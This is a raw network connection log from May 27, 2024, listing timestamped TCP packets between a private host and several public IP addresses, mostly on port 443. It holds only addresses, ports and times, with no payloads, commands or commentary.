May 27, 2024 19:30:22.010166883 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.010180950 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.010258913 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.010272026 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.010340929 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.010518074 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.010533094 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.010613918 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.010626078 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.010703087 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.010920048 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.010934114 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011009932 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.011020899 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011074066 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.011312008 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011327982 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011410952 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.011424065 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011495113 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.011636972 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011651993 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011739016 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.011749983 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.011812925 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.062155962 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.062176943 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.062210083 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.062252045 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.062268019 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.062285900 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.062330961 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.062355995 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.062983990 CEST	55923	443	192.168.2.16	104.17.96.13
May 27, 2024 19:30:22.063014030 CEST	443	55923	104.17.96.13	192.168.2.16
May 27, 2024 19:30:22.270554066 CEST	49678	443	192.168.2.16	20.189.173.10
May 27, 2024 19:30:22.872539043 CEST	49678	443	192.168.2.16	20.189.173.10
May 27, 2024 19:30:23.128531933 CEST	49673	443	192.168.2.16	204.79.197.203
May 27, 2024 19:30:23.880619049 CEST	443	55910	142.250.186.68	192.168.2.16
May 27, 2024 19:30:23.880697012 CEST	443	55910	142.250.186.68	192.168.2.16
May 27, 2024 19:30:23.880880117 CEST	55910	443	192.168.2.16	142.250.186.68
May 27, 2024 19:30:24.083506107 CEST	49678	443	192.168.2.16	20.189.173.10
May 27, 2024 19:30:24.786180973 CEST	55910	443	192.168.2.16	142.250.186.68
May 27, 2024 19:30:24.786201000 CEST	443	55910	142.250.186.68	192.168.2.16
May 27, 2024 19:30:26.443933010 CEST	49680	80	192.168.2.16	192.229.211.108
May 27, 2024 19:30:26.491626024 CEST	49678	443	192.168.2.16	20.189.173.10
May 27, 2024 19:30:26.747590065 CEST	49680	80	192.168.2.16	192.229.211.108
May 27, 2024 19:30:27.352535009 CEST	49680	80	192.168.2.16	192.229.211.108
May 27, 2024 19:30:28.565499067 CEST	49680	80	192.168.2.16	192.229.211.108
May 27, 2024 19:30:30.978153944 CEST	49680	80	192.168.2.16	192.229.211.108
May 27, 2024 19:30:31.163503885 CEST	443	49701	140.227.127.195	192.168.2.16
May 27, 2024 19:30:31.163580894 CEST	443	49701	140.227.127.195	192.168.2.16
May 27, 2024 19:30:31.163660049 CEST	49701	443	192.168.2.16	140.227.127.195
May 27, 2024 19:30:31.297661066 CEST	49678	443	192.168.2.16	20.189.173.10
May 27, 2024 19:30:32.737718105 CEST	49673	443	192.168.2.16	204.79.197.203
May 27, 2024 19:30:32.788503885 CEST	49701	443	192.168.2.16	140.227.127.195
May 27, 2024 19:30:32.788522959 CEST	443	49701	140.227.127.195	192.168.2.16
May 27, 2024 19:30:35.789534092 CEST	49680	80	192.168.2.16	192.229.211.108
May 27, 2024 19:30:38.065881014 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.065963984 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.066144943 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.066143990 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.066206932 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.066281080 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.066315889 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.066342115 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.066446066 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.066497087 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.555289030 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.555752039 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.555813074 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.556406021 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.556631088 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.556689978 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.557074070 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.557180882 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.558382034 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.558454037 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.561589003 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.561702013 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.562887907 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.562906027 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.568592072 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.568653107 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.568667889 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.568700075 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.611656904 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.611737013 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.611766100 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.659574986 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.670619011 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.683736086 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.683758020 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.683798075 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.683815956 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.683832884 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.683994055 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.683995008 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.684065104 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.684104919 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.684145927 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.699290991 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699400902 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699476004 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699564934 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699603081 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.699667931 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699707985 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.699786901 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699841976 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.699857950 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699940920 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.699995995 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.700010061 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.700120926 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.700181007 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.700195074 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.723529100 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.739797115 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.739854097 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.760344028 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.760365009 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.760406017 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.760425091 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.760734081 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.760735035 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.760801077 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.760973930 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.762814045 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.762856007 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.762917042 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.762983084 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.763022900 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.763046980 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.787571907 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.790029049 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790221930 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790285110 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.790316105 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790569067 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790626049 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.790642023 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790731907 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790788889 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.790802002 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790910006 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.790961981 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.790977001 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.791078091 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.791131973 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.791145086 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.791805983 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.791873932 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.791886091 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.791980982 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.792037010 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.792049885 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.792129993 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.792184114 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.792197943 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.792762041 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.792824984 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.792839050 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.835680962 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.835736990 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.850621939 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.850668907 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.850946903 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.850946903 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.851011038 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.851051092 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.851095915 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.851275921 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.851275921 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.851275921 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.851296902 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.851355076 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.851990938 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.852086067 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.852101088 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.853856087 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.853895903 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.853939056 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.853955030 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.853984118 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.865797043 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.865835905 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.865900040 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.865916014 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.866061926 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.880841017 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.880961895 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.881021023 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.881118059 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.881203890 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.881258011 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.881278038 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.881340981 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.881357908 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.881505966 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.881563902 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.881612062 CEST	55928	443	192.168.2.16	104.17.25.14
May 27, 2024 19:30:38.881639004 CEST	443	55928	104.17.25.14	192.168.2.16
May 27, 2024 19:30:38.915725946 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.942379951 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.942400932 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.942436934 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.942563057 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.942611933 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.942611933 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.942676067 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.942764997 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.942898989 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.942959070 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.943087101 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.943150997 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.943221092 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.943670034 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.943713903 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.943914890 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.943914890 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.943978071 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.944044113 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.944664955 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.944710970 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.944751978 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.944771051 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.944802999 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.944825888 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.956887007 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.956926107 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.956981897 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.957046986 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.957082987 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.957087040 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.957120895 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.957134008 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:38.957196951 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:38.957196951 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.033595085 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.033658028 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.033992052 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.033993006 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.034008980 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.034040928 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.034096956 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.034327984 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.034328938 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.034328938 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.034400940 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.034703016 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035442114 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035480976 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035541058 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035576105 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035613060 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035634995 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035643101 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035660982 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035703897 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035707951 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035731077 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035743952 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035774946 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035801888 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.035818100 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.035983086 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.036050081 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.036093950 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.036094904 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.036123037 CEST	443	55929	151.101.194.137	192.168.2.16
May 27, 2024 19:30:39.036187887 CEST	55929	443	192.168.2.16	151.101.194.137
May 27, 2024 19:30:39.089684963 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:39.089706898 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:39.089787006 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:39.089972973 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:39.089989901 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:39.736752033 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:39.737121105 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:39.737154007 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:39.738591909 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:39.738677979 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:39.739561081 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:39.739653111 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:39.739717960 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:39.739728928 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:39.788685083 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.044945955 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.045137882 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.045198917 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.045630932 CEST	55930	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.045655966 CEST	443	55930	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.058577061 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.058595896 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.058676004 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.058866978 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.058882952 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.074728012 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.074793100 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.074908018 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.075130939 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.075160027 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.564904928 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.565237999 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.565294981 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.566529989 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.566627979 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.568464041 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.568537951 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.568715096 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.568733931 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.614563942 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.713186979 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.715888977 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.715909958 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.717386961 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.717479944 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.717842102 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.717925072 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.718025923 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.718034983 CEST	443	55931	51.77.64.70	192.168.2.16
May 27, 2024 19:30:40.758531094 CEST	55931	443	192.168.2.16	51.77.64.70
May 27, 2024 19:30:40.877684116 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.877823114 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.877903938 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.877926111 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.878030062 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.878082991 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.878089905 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.878232002 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.878284931 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.878290892 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.879024029 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.879091978 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.879098892 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.901680946 CEST	49678	443	192.168.2.16	20.189.173.10
May 27, 2024 19:30:40.933561087 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.933625937 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.942106009 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.942187071 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.942220926 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.942253113 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.942316055 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.942558050 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.967061996 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.967195034 CEST	443	55932	104.21.96.107	192.168.2.16
May 27, 2024 19:30:40.967192888 CEST	55932	443	192.168.2.16	104.21.96.107
May 27, 2024 19:30:40.967221975 CEST	443	55932	104.21.96.107	192.168.2.16
